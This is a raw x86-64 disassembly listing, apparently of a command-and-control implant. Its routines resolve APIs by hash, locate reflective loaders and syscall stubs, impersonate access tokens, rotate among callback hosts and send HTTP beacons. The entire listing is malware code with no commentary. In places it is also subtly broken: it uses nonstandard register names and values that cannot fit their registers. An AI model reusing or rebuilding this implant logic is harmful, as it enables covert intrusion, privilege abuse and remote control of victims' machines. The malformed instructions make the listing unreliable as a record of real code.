140014526sub rsp, 32
14001452amov rbp, [rip+0x17e3f]
140014531call [rbp+932]
140014537mov r10l, [rdi]
14001453axor r9l, r9l
14001453dmov rbx, rax
140014540
140014540loc_140014540:
140014540cmp r9l, r10l
140014543jae 0x1400145ab
140014545imul rax, r9, 24
140014549mov rcx, rbx
14001454cmovzx edx, [rdi+rax+8]
140014551call ProcessIsIncluded
140014556mov esi, eax
140014558test eax, eax
14001455ajne 0x1400145a6
14001455cmov eax, [rbx]
14001455elea ecx, [rax+1]
140014561cmp ecx, 5000
140014567jbe 0x1400145a0
140014569lea r9, [rip+0x1571f]
140014570mov r8l, 1056
140014576mov rdi, rbx
140014579lea rdx, [rip+0x18aa0]
140014580lea rcx, [rip+0x15441]
140014587call printf
14001458cmov ecx, 20004
140014591xor eax, eax
140014593rep stosb [rdi], al
140014595mov rcx, rbx
140014598call [rbp+940]
14001459ejmp 0x1400145b4
1400145a0
1400145a0loc_1400145a0:
1400145a0mov [rbx], ecx
1400145a2mov [rbx+4*rax+4], edx
1400145a6
1400145a6loc_1400145a6:
1400145a6inc r9
1400145a9jmp 0x140014540
1400145ab
1400145abloc_1400145ab:
1400145abmov [r12], rbx
1400145afmov esi, 1
1400145b4
1400145b4loc_1400145b4:
1400145b4add rsp, 32
1400145b8mov eax, esi
1400145bapop rbx
1400145bbpop rsi
1400145bcpop rdi
1400145bdpop rbp
1400145bepop r12
1400145c0ret
140014510

1400145c1
1400145c1 // align 0x10

1400145d0
1400145d0GetReflectiveLoaderOffset:
1400145d0push r14
1400145d2push r13
1400145d4push r12
1400145d6xor r12l, r12l
1400145d9push rbp
1400145dapush rdi
1400145dbpush rsi
1400145dcpush rbx
1400145ddmov rbx, rcx
1400145e0mov rdx, rbx
1400145e3sub rsp, 32
1400145e7movsxd rax, [rcx+60]
1400145ebmov ecx, [rcx+rax+136]
1400145f2call Rva2Offset
1400145f7mov rdx, rbx
1400145famov esi, eax
1400145fcadd rsi, rbx
1400145ffmov ecx, [rsi+32]
140014602call Rva2Offset
140014607mov ecx, [rsi+36]
14001460amov rdx, rbx
14001460dmov r13l, eax
140014610call Rva2Offset
140014615mov r14l, [rsi+24]
140014619add r13, rbx
14001461cmov edi, eax
14001461e
14001461eloc_14001461e:
14001461ecmp r14, r12
140014621je 0x1400146b4
140014627mov ecx, [r13+4*r12]
14001462cmov rdx, rbx
14001462fcall Rva2Offset
140014634mov ebp, eax
140014636add rbp, rbx
140014639mov rcx, rbp
14001463ccall HashStringA
140014641cmp eax, 0xffffffffa6caa1c5
140014646jne 0x140014695
140014648
140014648loc_140014648:
140014648mov r9, rbp
14001464bmov r8l, 58
140014651add rdi, rbx
140014654lea rdx, [rip+0x180f5]
14001465blea rcx, [rip+0x16bbe]
140014662call printf.constprop.0
140014667mov ecx, [rsi+28]
14001466amov rdx, rbx
14001466dcall Rva2Offset
140014672movzx edx, [rdi+2*r12]
140014677mov eax, eax
140014679add rax, rbx
14001467cmov ecx, [rax+4*rdx]
14001467fadd rsp, 32
140014683mov rdx, rbx
140014686pop rbx
140014687pop rsi
140014688pop rdi
140014689pop rbp
14001468apop r12
14001468cpop r13
14001468epop r14
140014690jmp 0x14001c6f0
140014695
140014695loc_140014695:
140014695mov rcx, rbp
140014698call HashStringA
14001469dmov edx, eax
14001469flea rax, [r12+1]
1400146a4cmp edx, 0xffffffffffe885ef
1400146aaje 0x140014648
1400146acmov r12, rax
1400146afjmp 0x14001461e
1400146b4
1400146b4loc_1400146b4:
1400146b4add rsp, 32
1400146b8xor eax, eax
1400146bapop rbx
1400146bbpop rsi
1400146bcpop rdi
1400146bdpop rbp
1400146bepop r12
1400146c0pop r13
1400146c2pop r14
1400146c4ret
1400145d0

1400146c5
1400146c5 // align 0x10

1400146d0
1400146d0GetRequestIDForCallingObjectFile:
1400146d0test rcx, rcx
1400146d3je 0x140014764
1400146d9push rsi
1400146damov rsi, rdx
1400146ddpush rbx
1400146desub rsp, 40
1400146e2test rdx, rdx
1400146e5je 0x14001475b
1400146e7mov rax, [rip+0x17c82]
1400146eemov rbx, [rax+2334]
1400146f5
1400146f5loc_1400146f5:
1400146f5test rbx, rbx
1400146f8je 0x14001473b
1400146famov rax, [rbx+40]
1400146fecmp rcx, rax
140014701jb 0x140014735
140014703add rax, [rbx+48]
140014707cmp rcx, rax
14001470ajae 0x140014735
14001470cmov r9l, [rbx+56]
140014710mov r8l, 186
140014716lea rdx, [rip+0x186a3]
14001471dlea rcx, [rip+0x16f55]
140014724call printf
140014729mov eax, [rbx+56]
14001472cmov [rsi], eax
14001472emov eax, 1
140014733jmp 0x14001475d
140014735
140014735loc_140014735:
140014735mov rbx, [rbx+84]
140014739jmp 0x1400146f5
14001473b
14001473bloc_14001473b:
14001473blea r9, [rip+0x16f74]
140014742mov r8l, 194
140014748lea rdx, [rip+0x18671]
14001474flea rcx, [rip+0x16f91]
140014756call printf
14001475b
14001475bloc_14001475b:
14001475bxor eax, eax
14001475d
14001475dloc_14001475d:
14001475dadd rsp, 40
140014761pop rbx
140014762pop rsi
140014763ret
140014764
140014764loc_140014764:
140014764xor eax, eax
140014766ret
1400146d0

140014767
140014767 // align 0x10

140014770
140014770GetSyscallSize:
140014770push r12
140014772xor edx, edx
140014774push rbp
140014775push rdi
140014776push rsi
140014777push rbx
140014778mov rbx, [rip+0x17bf1]
14001477fmov rax, [rbx+2110]
140014786test rax, rax
140014789je 0x14001481f
14001478fmov edx, [rbx+2036]
140014795test edx, edx
140014797jne 0x14001481f
14001479dmovsxd rcx, [rax+60]
1400147a1xor r8l, r8l
1400147a4mov ecx, [rax+rcx+136]
1400147abadd rcx, rax
1400147aemov edi, [rcx+32]
1400147b1mov r10l, [rcx+28]
1400147b5mov esi, [rcx+36]
1400147b8mov ebp, [rcx+24]
1400147bbxor ecx, ecx
1400147bdadd r10, rax
1400147c0add rdi, rax
1400147c3add rsi, rax
1400147c6
1400147c6loc_1400147c6:
1400147c6cmp r8l, ebp
1400147c9jae 0x140014819
1400147cbmov r9l, [rdi+4*r8]
1400147cfcmp [rax+r9], 30554
1400147d6jne 0x140014814
1400147d8test rcx, rcx
1400147dbmovzx r9l, [rsi+2*r8]
1400147e0jne 0x1400147eb
1400147e2mov ecx, [r10+4*r9]
1400147e6add rcx, rax
1400147e9jmp 0x140014814
1400147eb
1400147ebloc_1400147eb:
1400147ebmov r9l, [r10+4*r9]
1400147efmov r11, rcx
1400147f2add r9, rax
1400147f5mov r12, r9
1400147f8sub r11, r9
1400147fbsub r12, rcx
1400147fecmp r9, rcx
140014801mov r9l, r12l
140014804cmovb r9l, r11l
140014808test edx, edx
14001480aje 0x140014811
14001480ccmp r9l, edx
14001480fjae 0x140014814
140014811
140014811loc_140014811:
140014811mov edx, r9l
140014814
140014814loc_140014814:
140014814inc r8
140014817jmp 0x1400147c6
140014819
140014819loc_140014819:
140014819mov [rbx+2036], edx
14001481f
14001481floc_14001481f:
14001481fpop rbx
140014820mov eax, edx
140014822pop rsi
140014823pop rdi
140014824pop rbp
140014825pop r12
140014827ret
140014770

140014828
140014828 // align 0x10

140014830
140014830GetSystemFileTime:
140014830sub rsp, 56
140014834mov rax, [rip+0x17b35]
14001483blea rcx, [rsp+40]
140014840call [rax+1132]
140014846mov rax, [rsp+40]
14001484badd rsp, 56
14001484fret
140014830

140014850
140014850GetTokenInfo:
140014850push r15
140014852push r14
140014854push r13
140014856push r12
140014858mov r12, rdx
14001485bxor edx, edx
14001485dpush rbp
14001485emov rbp, r9
140014861push rdi
140014862mov rdi, r8
140014865xor r8l, r8l
140014868push rsi
140014869mov rsi, rcx
14001486cpush rbx
14001486dsub rsp, 72
140014871mov r14, [rsp+176]
140014879mov [rsp+52], edx
14001487dmov [rsp+56], edx
140014881mov [rsp+60], edx
140014885mov rdx, r14
140014888call TokenQueryOwner
14001488dtest eax, eax
14001488fjne 0x1400148b6
140014891lea r9, [rip+0x153c5]
140014898mov r8l, 966
14001489elea rdx, [rip+0x188eb]
1400148a5lea rcx, [rip+0x1511c]
1400148accall printf
1400148b1jmp 0x140014ad4
1400148b6
1400148b6loc_1400148b6:
1400148b6mov rbx, [rip+0x17ab3]
1400148bdxor r9l, r9l
1400148c0xor r8l, r8l
1400148c3mov rcx, rsi
1400148c6lea r15, [rsp+52]
1400148cbmov edx, 10
1400148d0mov [rsp+32], r15
1400148d5call [rbx+1340]
1400148dbmov edx, [rsp+52]
1400148dfmov ecx, 64
1400148e4call [rbx+932]
1400148eamov [rsp+32], r15
1400148efmov r9l, [rsp+52]
1400148f4mov rcx, rsi
1400148f7mov r13, rax
1400148famov r8, rax
1400148fdmov edx, 10
140014902call [rbx+1340]
140014908test eax, eax
14001490aje 0x140014a5a
140014910mov eax, [r13+24]
140014914mov [r12], eax
140014918cmp eax, 1
14001491bjne 0x1400149c4
140014921lea r12, [rsp+56]
140014926xor r9l, r9l
140014929xor r8l, r8l
14001492cmov rcx, rsi
14001492fmov edx, 25
140014934mov [rsp+32], r12
140014939call [rbx+1340]
14001493fmov edx, [rsp+56]
140014943mov ecx, 64
140014948call [rbx+932]
14001494emov rcx, rsi
140014951mov [rsp+32], r12
140014956mov r9l, [rsp+56]
14001495bmov rbp, rax
14001495emov r8, rax
140014961mov edx, 25
140014966call [rbx+1340]
14001496cmov esi, eax
14001496etest eax, eax
140014970je 0x14001499c
140014972mov rsi, [rbx+1484]
140014979mov rcx, [rbp]
14001497dxor r12l, r12l
140014980call [rbx+1476]
140014986mov rcx, [rbp]
14001498amov dl, [rax]
14001498cdec edx
14001498emovzx edx, dl
140014991call rsi
140014993mov eax, [rax]
140014995mov [rdi], eax
140014997jmp 0x140014a2f
14001499c
14001499cloc_14001499c:
14001499clea r9, [rip+0x152d1]
1400149a3mov r8l, 991
1400149a9xor r12l, r12l
1400149aclea rdx, [rip+0x187dd]
1400149b3lea rcx, [rip+0x1500e]
1400149bacall printf
1400149bfjmp 0x140014a85
1400149c4
1400149c4loc_1400149c4:
1400149c4cmp eax, 2
1400149c7je 0x1400149d5
1400149c9
1400149c9loc_1400149c9:
1400149c9xor r12l, r12l
1400149ccxor ebp, ebp
1400149cexor esi, esi
1400149d0jmp 0x140014a85
1400149d5
1400149d5loc_1400149d5:
1400149d5lea rdi, [rsp+60]
1400149daxor r9l, r9l
1400149ddxor r8l, r8l
1400149e0mov rcx, rsi
1400149e3mov edx, 9
1400149e8mov [rsp+32], rdi
1400149edcall [rbx+1340]
1400149f3mov edx, [rsp+60]
1400149f7mov ecx, 64
1400149fccall [rbx+932]
140014a02mov rcx, rsi
140014a05mov [rsp+32], rdi
140014a0amov r9l, [rsp+60]
140014a0fmov r12, rax
140014a12mov r8, rax
140014a15mov edx, 9
140014a1acall [rbx+1340]
140014a20mov esi, eax
140014a22test eax, eax
140014a24je 0x140014a36
140014a26mov eax, [r12]
140014a2amov [rbp], eax
140014a2dxor ebp, ebp
140014a2f
140014a2floc_140014a2f:
140014a2fmov esi, 1
140014a34jmp 0x140014a85
140014a36
140014a36loc_140014a36:
140014a36lea r9, [rip+0x15237]
140014a3dmov r8l, 1007
140014a43lea rdx, [rip+0x18746]
140014a4axor ebp, ebp
140014a4clea rcx, [rip+0x14f75]
140014a53call printf
140014a58jmp 0x140014a85
140014a5a
140014a5aloc_140014a5a:
140014a5alea r9, [rip+0x15213]
140014a61mov r8l, 1013
140014a67lea rdx, [rip+0x18722]
140014a6elea rcx, [rip+0x14f53]
140014a75call printf
140014a7atest r13, r13
140014a7djne 0x1400149c9
140014a83jmp 0x140014ad4
140014a85
140014a85loc_140014a85:
140014a85xor r15l, r15l
140014a88mov ecx, [rsp+52]
140014a8cmov rdi, r13
140014a8fmov eax, r15l
140014a92rep stosb [rdi], al
140014a94mov rcx, r13
140014a97call [rbx+940]
140014a9dtest rbp, rbp
140014aa0je 0x140014ab7
140014aa2mov ecx, [rsp+56]
140014aa6mov rdi, rbp
140014aa9mov eax, r15l
140014aacrep stosb [rdi], al
140014aaemov rcx, rbp
140014ab1call [rbx+940]
140014ab7
140014ab7loc_140014ab7:
140014ab7test r12, r12
140014abaje 0x140014ad0
140014abcmov ecx, [rsp+60]
140014ac0mov rdi, r12
140014ac3xor eax, eax
140014ac5rep stosb [rdi], al
140014ac7mov rcx, r12
140014acacall [rbx+940]
140014ad0
140014ad0loc_140014ad0:
140014ad0test esi, esi
140014ad2jne 0x140014aff
140014ad4
140014ad4loc_140014ad4:
140014ad4mov rdi, [r14]
140014ad7test rdi, rdi
140014adajne 0x140014ae0
140014adc
140014adcloc_140014adc:
140014adcxor esi, esi
140014adejmp 0x140014aff
140014ae0
140014ae0loc_140014ae0:
140014ae0mov ecx, [r14+8]
140014ae4xor eax, eax
140014ae6rep stosb [rdi], al
140014ae8mov rax, [rip+0x17881]
140014aefmov rcx, [r14]
140014af2call [rax+940]
140014af8xor eax, eax
140014afamov [r14], rax
140014afdjmp 0x140014adc
140014aff
140014affloc_140014aff:
140014affadd rsp, 72
140014b03mov eax, esi
140014b05pop rbx
140014b06pop rsi
140014b07pop rdi
140014b08pop rbp
140014b09pop r12
140014b0bpop r13
140014b0dpop r14
140014b0fpop r15
140014b11ret
140014850

140014b12
140014b12 // align 0x10

140014b20
140014b20GetTypeIndexToken:
140014b20push rdi
140014b21xor edx, edx
140014b23xor eax, eax
140014b25push rsi
140014b26mov rsi, rcx
140014b29push rbx
140014b2asub rsp, 48
140014b2emov [rsp+36], edx
140014b32lea rcx, [rsp+40]
140014b37lea rdx, [rsp+36]
140014b3cmov [rsp+40], rax
140014b41call QueryObjectTypesInfo
140014b46mov rdi, [rsp+40]
140014b4btest eax, eax
140014b4dmov ebx, eax
140014b4fje 0x140014bb3
140014b51mov r8l, [rdi]
140014b54lea rcx, [rdi+8]
140014b58xor eax, eax
140014b5a
140014b5aloc_140014b5a:
140014b5acmp r8l, eax
140014b5dje 0x140014bb1
140014b5fmov rdx, [rcx+8]
140014b63test rdx, rdx
140014b66je 0x140014b9c
140014b68cmp [rcx], 10
140014b6cjne 0x140014b9c
140014b6ecmp [rdx], 84
140014b72jne 0x140014b9c
140014b74cmp [rdx+2], 111
140014b79jne 0x140014b9c
140014b7bcmp [rdx+4], 107
140014b80jne 0x140014b9c
140014b82cmp [rdx+6], 101
140014b87jne 0x140014b9c
140014b89cmp [rdx+8], 110
140014b8ejne 0x140014b9c
140014b90add eax, 2
140014b93mov ebx, 1
140014b98mov [rsi], eax
140014b9ajmp 0x140014bb3
140014b9c
140014b9cloc_140014b9c:
140014b9cmovzx edx, [rcx+2]
140014ba0inc eax
140014ba2add rdx, 7
140014ba6and rdx, -8
140014baalea rcx, [rcx+rdx+104]
140014bafjmp 0x140014b5a
140014bb1
140014bb1loc_140014bb1:
140014bb1xor ebx, ebx
140014bb3
140014bb3loc_140014bb3:
140014bb3test rdi, rdi
140014bb6je 0x140014bd2
140014bb8mov ecx, [rsp+36]
140014bbcxor eax, eax
140014bberep stosb [rdi], al
140014bc0mov rax, [rip+0x177a9]
140014bc7mov rcx, [rsp+40]
140014bcccall [rax+940]
140014bd2
140014bd2loc_140014bd2:
140014bd2add rsp, 48
140014bd6mov eax, ebx
140014bd8pop rbx
140014bd9pop rsi
140014bdapop rdi
140014bdbret
140014b20

140014bdc
140014bdc // align 0x10

140014be0
140014be0HashEx:
140014be0xor eax, eax
140014be2test rcx, rcx
140014be5je 0x140014c2f
140014be7mov r10, rcx
140014beamov eax, 5381
140014bef
140014befloc_140014bef:
140014befmov r9b, [r10]
140014bf2test edx, edx
140014bf4jne 0x140014bfc
140014bf6test r9b, r9b
140014bf9jne 0x140014c11
140014bfbret
140014bfc
140014bfcloc_140014bfc:
140014bfcmov r11, r10
140014bffsub r11, rcx
140014c02cmp r11l, edx
140014c05jae 0x140014c2f
140014c07test r9b, r9b
140014c0ajne 0x140014c11
140014c0cinc r10
140014c0fjmp 0x140014c20
140014c11
140014c11loc_140014c11:
140014c11cmp r9b, 96
140014c15jbe 0x140014c20
140014c17test r8l, r8l
140014c1aje 0x140014c20
140014c1csub r9l, 32
140014c20
140014c20loc_140014c20:
140014c20imul eax, eax, 33
140014c23movzx r9l, r9b
140014c27inc r10
140014c2aadd eax, r9l
140014c2djmp 0x140014bef
140014c2f
140014c2floc_140014c2f:
140014c2fret
140014be0

140014c30
140014c30HashStringA:
140014c30mov eax, 5381
140014c35
140014c35loc_140014c35:
140014c35movsx edx, [rcx]
140014c38inc rcx
140014c3btest dl, dl
140014c3dje 0x140014c46
140014c3fimul eax, eax, 33
140014c42add eax, edx
140014c44jmp 0x140014c35
140014c46
140014c46loc_140014c46:
140014c46ret
140014c30

140014c47
140014c47 // align 0x10

140014c50
140014c50HideChar:
140014c50mov eax, ecx
140014c52ret
140014c50

140014c53
140014c53 // align 0x10

140014c60
140014c60HostAdd:
140014c60push r12
140014c62mov r9, rcx
140014c65push rbp
140014c66mov rbp, rdx
140014c69push rdi
140014c6amov edi, r8l
140014c6dpush rsi
140014c6emov rsi, rcx
140014c71lea rcx, [rip+0x151f8]
140014c78push rbx
140014c79sub rsp, 48
140014c7dmov [rsp+40], r8l
140014c82mov r8l, 345
140014c88mov [rsp+32], rdx
140014c8dlea rdx, [rip+0x183ac]
140014c94call printf
140014c99mov r8l, 32
140014c9fmov edx, 8
140014ca4mov r12, [rip+0x176c5]
140014cabmov rax, [r12+2230]
140014cb3mov rax, [rax+96]
140014cb7mov rcx, [rax+48]
140014cbbcall [r12+316]
140014cc3lea r8, [rbp+2]
140014cc7mov edx, 8
140014cccmov rbx, rax
140014ccfmov rax, [r12+2230]
140014cd7mov rax, [rax+96]
140014cdbmov rcx, [rax+48]
140014cdfcall [r12+316]
140014ce7xor edx, edx
140014ce9mov [rbx+8], edi
140014cecmov rcx, rbp
140014cefmov [rbx+16], edx
140014cf2mov rdx, [r12+112]
140014cf7mov rdi, rax
140014cfamov [rbx], rax
140014cfdmov rax, rbx
140014d00mov [rbx+24], rdx
140014d04rep movsb [rdi], [rsi]
140014d06mov [r12+112], rbx
140014d0badd rsp, 48
140014d0fpop rbx
140014d10pop rsi
140014d11pop rdi
140014d12pop rbp
140014d13pop r12
140014d15ret
140014c60

140014d16
140014d16 // align 0x10

140014d20
140014d20HostCheckup:
140014d20sub rsp, 40
140014d24mov rax, [rip+0x17645]
140014d2bxor r8l, r8l
140014d2emov rdx, [rax+112]
140014d32mov rax, rdx
140014d35
140014d35loc_140014d35:
140014d35test rax, rax
140014d38je 0x140014d4c
140014d3acmp [rax+16], 0
140014d3eje 0x140014d43
140014d40inc r8l
140014d43
140014d43loc_140014d43:
140014d43mov rax, [rax+24]
140014d47cmp rdx, rax
140014d4ajne 0x140014d35
140014d4c
140014d4cloc_140014d4c:
140014d4ccall HostCount
140014d51cmp eax, r8l
140014d54setne al
140014d57add rsp, 40
140014d5bmovzx eax, al
140014d5eret
140014d20

140014d5f
140014d5f // align 0x10

140014d60
140014d60HostCount:
140014d60mov rax, [rip+0x17609]
140014d67xor edx, edx
140014d69mov rcx, [rax+112]
140014d6dmov rax, rcx
140014d70
140014d70loc_140014d70:
140014d70test rax, rax
140014d73je 0x140014d80
140014d75mov rax, [rax+24]
140014d79inc edx
140014d7bcmp rcx, rax
140014d7ejne 0x140014d70
140014d80
140014d80loc_140014d80:
140014d80mov eax, edx
140014d82ret
140014d60

140014d83
140014d83 // align 0x10

140014d90
140014d90HostFailure:
140014d90push rbx
140014d91mov rbx, rcx
140014d94sub rsp, 48
140014d98test rcx, rcx
140014d9bje 0x140014df3
140014d9dmov rdx, [rip+0x175cc]
140014da4mov eax, [rcx+12]
140014da7cmp eax, [rdx+150]
140014dadjne 0x140014dc7
140014dafmov [rcx+16], 1
140014db6movsx ecx, [rdx+144]
140014dbdadd rsp, 48
140014dc1pop rbx
140014dc2jmp 0x140014ee0
140014dc7
140014dc7loc_140014dc7:
140014dc7inc eax
140014dc9mov r8l, 382
140014dcflea rdx, [rip+0x17f8a]
140014dd6mov [rcx+12], eax
140014dd9mov [rsp+40], eax
140014dddmov eax, [rcx+8]
140014de0mov [rsp+32], eax
140014de4mov r9, [rcx]
140014de7lea rcx, [rip+0x1516a]
140014deecall printf
140014df3
140014df3loc_140014df3:
140014df3add rsp, 48
140014df7mov rax, rbx
140014dfapop rbx
140014dfbret
140014d90

140014dfc
140014dfc // align 0x10

140014e00
140014e00HostRandom:
140014e00push rsi
140014e01push rbx
140014e02sub rsp, 72
140014e06call RandomNumber32
140014e0bmov r8l, eax
140014e0ecall HostCount
140014e13xor edx, edx
140014e15mov esi, eax
140014e17mov eax, r8l
140014e1adiv esi
140014e1cmov rax, [rip+0x1754d]
140014e23mov rbx, [rax+112]
140014e27mov r9l, edx
140014e2atest edx, edx
140014e2cje 0x140014e69
140014e2etest rbx, rbx
140014e31je 0x140014e47
140014e33xor eax, eax
140014e35
140014e35loc_140014e35:
140014e35mov rbx, [rbx+24]
140014e39test rbx, rbx
140014e3cje 0x140014e47
140014e3einc eax
140014e40cmp r9l, eax
140014e43jne 0x140014e35
140014e45jmp 0x140014e69
140014e47
140014e47loc_140014e47:
140014e47mov r8l, 417
140014e4dlea rdx, [rip+0x17abc]
140014e54lea rcx, [rip+0x1505a]
140014e5bcall printf
140014e60mov eax, [0xc]
140014e67ud2
140014e69
140014e69loc_140014e69:
140014e69lea rsi, [rip+0x17aa0]
140014e70mov r8l, 417
140014e76lea rcx, [rip+0x15038]
140014e7dmov rdx, rsi
140014e80call printf
140014e85cmp [rbx+16], 0
140014e89mov edx, [rbx+12]
140014e8cmov r9, rbx
140014e8flea rcx, [rip+0x15014]
140014e96lea rax, [rip+0x15012]
140014e9dmov r8l, 418
140014ea3cmovne rax, rcx
140014ea7mov [rsp+56], edx
140014eablea rcx, [rip+0x1501e]
140014eb2mov rdx, rsi
140014eb5mov [rsp+48], rax
140014ebamov eax, [rbx+8]
140014ebdmov [rsp+40], eax
140014ec1mov rax, [rbx]
140014ec4mov [rsp+32], rax
140014ec9call printf
140014eceadd rsp, 72
140014ed2mov rax, rbx
140014ed5pop rbx
140014ed6pop rsi
140014ed7ret
140014e00

140014ed8
140014ed8 // align 0x10

140014ee0
140014ee0HostRotation:
140014ee0push rbx
140014ee1sub rsp, 32
140014ee5mov rbx, [rip+0x17484]
140014eeccmp [rbx+120], 1
140014ef0jbe 0x140014ef9
140014ef2xor r8l, r8l
140014ef5mov [rbx+24], r8l
140014ef9
140014ef9loc_140014ef9:
140014ef9test cx, cx
140014efcjne 0x140014f28
140014efecmp [rbx+104], 0
140014f03mov r8, [rbx+112]
140014f07je 0x140014f99
140014f0d
140014f0dloc_140014f0d:
140014f0dcall HostCount
140014f12test eax, eax
140014f14je 0x140014f7a
140014f16test r8, r8
140014f19je 0x140014f7a
140014f1bcmp [r8+16], 0
140014f20je 0x140014f7a
140014f22mov r8, [r8+24]
140014f26jmp 0x140014f0d
140014f28
140014f28loc_140014f28:
140014f28dec cx
140014f2bje 0x140014f62
140014f2dxor r8l, r8l
140014f30cmp [rbx+150], 0
140014f37
140014f37loc_140014f37:
140014f37jne 0x140014f99
140014f39mov r8l, 475
140014f3flea r9, [rip+0x14fcb]
140014f46lea rdx, [rip+0x177c3]
140014f4dlea rcx, [rip+0x14ff0]
140014f54call printf
140014f59mov r8, [rbx+112]
140014f5dmov rax, r8
140014f60jmp 0x140014f88
140014f62
140014f62loc_140014f62:
140014f62call HostRandom
140014f67cmp [rax+16], 0
140014f6bmov r8, rax
140014f6eje 0x140014f99
140014f70xor ecx, ecx
140014f72call HostRotation
140014f77mov r8, rax
140014f7a
140014f7aloc_140014f7a:
140014f7acmp [rbx+150], 0
140014f81jne 0x140014f99
140014f83test r8, r8
140014f86jmp 0x140014f37
140014f88
140014f88loc_140014f88:
140014f88test rax, rax
140014f8bje 0x140014f99
140014f8dxor edx, edx
140014f8fmov [rax+12], rdx
140014f93mov rax, [rax+24]
140014f97jmp 0x140014f88
140014f99
140014f99loc_140014f99:
140014f99add rsp, 32
140014f9dmov rax, r8
140014fa0pop rbx
140014fa1ret
140014ee0

140014fa2
140014fa2 // align 0x10

140014fb0
140014fb0HttpQueryStatus:
140014fb0sub rsp, 72
140014fb4xor eax, eax
140014fb6xor edx, edx
140014fb8xor r8l, r8l
140014fbbmov [rsp+56], eax
140014fbflea rax, [rsp+60]
140014fc4lea r9, [rsp+56]
140014fc9mov [rsp+32], rax
140014fcemov rax, [rip+0x1739b]
140014fd5mov [rsp+40], rdx
140014fdamov edx, 0x20000013
140014fdfmov [rsp+60], 4
140014fe7call [rax+1252]
140014fedmov edx, eax
140014fefxor eax, eax
140014ff1test edx, edx
140014ff3je 0x140014ff9
140014ff5mov eax, [rsp+56]
140014ff9
140014ff9loc_140014ff9:
140014ff9add rsp, 72
140014ffdret
140014fb0

140014ffe
140014ffe // align 0x10

140015000
140015000HttpSend:
140015000push r15
140015002xor eax, eax
140015004mov r15, rcx
140015007mov ecx, 6
14001500cpush r14
14001500emov r14, rdx
140015011push r13
140015013push r12
140015015push rbp
140015016push rdi
140015017push rsi
140015018xor esi, esi
14001501apush rbx
14001501bxor ebx, ebx
14001501dsub rsp, 1208
140015024lea rdi, [rsp+88]
140015029mov [rsp+84], esi
14001502dlea rsi, [rsp+88]
140015032rep stosd [rdi], eax
140015034lea rdi, [rsp+112]
140015039mov ecx, 8
14001503emov [rsp+80], ebx
140015042rep stosd [rdi], eax
140015044lea rdi, [rsp+144]
14001504cmov ecx, 8
140015051rep stosd [rdi], eax
140015053xor edi, edi
140015055mov ecx, 252
14001505amov [rsp+176], rdi
140015062mov [rsp+184], rdi
14001506alea rdi, [rsp+192]
140015072rep stosd [rdi], eax
140015074call TokenImpersonate
140015079mov r13, [rip+0x172f0]
140015080cmp [r13+104], 0
140015085jne 0x1400150ae
140015087lea rcx, [rip+0x14eb6]
14001508elea r9, [rip+0x14f09]
140015095mov r8l, 38
14001509blea rdx, [rip+0x180fe]
1400150a2call printf
1400150a7xor ecx, ecx
1400150a9call CommandExit
1400150ae
1400150aeloc_1400150ae:
1400150aecmp [r13+16], 0
1400150b3jne 0x140015125
1400150b5cmp [r13+182], 0
1400150bdmov rax, [r13+1180]
1400150c4mov rcx, [r13+158]
1400150cbje 0x1400150e6
1400150cdxor r11l, r11l
1400150d0mov r8, [r13+186]
1400150d7xor r9l, r9l
1400150damov edx, 3
1400150dfmov [rsp+32], r11l
1400150e4jmp 0x1400150f9
1400150e6
1400150e6loc_1400150e6:
1400150e6xor r10l, r10l
1400150e9xor r9l, r9l
1400150ecxor r8l, r8l
1400150efmov edx, 1
1400150f4mov [rsp+32], r10l
1400150f9
1400150f9loc_1400150f9:
1400150f9call rax
1400150fbmov [r13+16], rax
1400150fftest rax, rax
140015102jne 0x140015125
140015104mov rax, [r13+2230]
14001510bmov r8l, 61
140015111lea rdx, [rip+0x18088]
140015118lea rcx, [rip+0x14ea1]
14001511fmov r9l, [rax+104]
140015123jmp 0x140015173
140015125
140015125loc_140015125:
140015125mov rax, [r13+104]
140015129mov rcx, [r13+16]
14001512dxor r9l, r9l
140015130movzx r8l, [rax+8]
140015135mov rdx, [rax]
140015138call [r13+1188]
14001513fmov [rsp+64], rax
140015144test rax, rax
140015147je 0x140015154
140015149mov rdi, [r13+166]
140015150xor ebx, ebx
140015152jmp 0x14001517d
140015154
140015154loc_140015154:
140015154mov rax, [r13+2230]
14001515bmov r8l, 71
140015161lea rdx, [rip+0x18038]
140015168lea rcx, [rip+0x14e7c]
14001516fmov r9l, [rax+104]
140015173
140015173loc_140015173:
140015173call printf
140015178jmp 0x14001521e
14001517d
14001517dloc_14001517d:
14001517dmov eax, ebx
14001517fcmp [rdi+8*rax], 0
140015184je 0x14001518a
140015186inc ebx
140015188jmp 0x14001517d
14001518a
14001518aloc_14001518a:
14001518acall RandomNumber32
14001518fxor edx, edx
140015191mov [rsp+80], 256
140015199div ebx
14001519bcmp [r13+154], 0
1400151a3mov rax, [rdi+8*rdx]
1400151a7mov [rsp+72], rax
1400151acje 0x1400151b6
1400151aemov [rsp+80], 0x800100
1400151b6
1400151b6loc_1400151b6:
1400151b6mov eax, [rsp+80]
1400151baxor r9l, r9l
1400151bdmov r8, [rsp+72]
1400151c2mov rdx, [r13+136]
1400151c9mov rcx, [rsp+64]
1400151cemov [rsp+40], r9
1400151d3mov [rsp+32], r9
1400151d8xor r9l, r9l
1400151dbmov [rsp+48], eax
1400151dfcall [r13+1196]
1400151e6mov rbx, rax
1400151e9test rax, rax
1400151ecjne 0x140015225
1400151eemov rax, [r13+2230]
1400151f5lea rcx, [rip+0x14e1d]
1400151fcmov r8l, 93
140015202lea rdx, [rip+0x17f97]
140015209mov r9l, [rax+104]
14001520dcall printf
140015212mov rcx, [rsp+64]
140015217call [r13+1212]
14001521e
14001521eloc_14001521e:
14001521exor esi, esi
140015220jmp 0x14001576a
140015225
140015225loc_140015225:
140015225cmp [r13+154], 0
14001522dje 0x140015279
14001522fmov [rsp+80], 13056
140015237mov r9l, 4
14001523dlea r8, [rsp+80]
140015242mov rcx, rax
140015245mov edx, 31
14001524acall [r13+1204]
140015251test eax, eax
140015253jne 0x140015279
140015255mov rax, [r13+2230]
14001525cmov r8l, 107
140015262lea rdx, [rip+0x17f37]
140015269lea rcx, [rip+0x14ddb]
140015270mov r9l, [rax+104]
140015274call printf
140015279
140015279loc_140015279:
140015279xor edi, edi
14001527blea rbp, [rip+0x14df9]
140015282
140015282loc_140015282:
140015282mov rdx, [r13+174]
140015289mov eax, edi
14001528bmov r12, [rdx+8*rax]
14001528ftest r12, r12
140015292je 0x1400152cb
140015294or r8l, -1
140015298mov r9l, 0x20000000
14001529emov rdx, r12
1400152a1mov rcx, rbx
1400152a4call [r13+1228]
1400152abtest eax, eax
1400152adjne 0x1400152c7
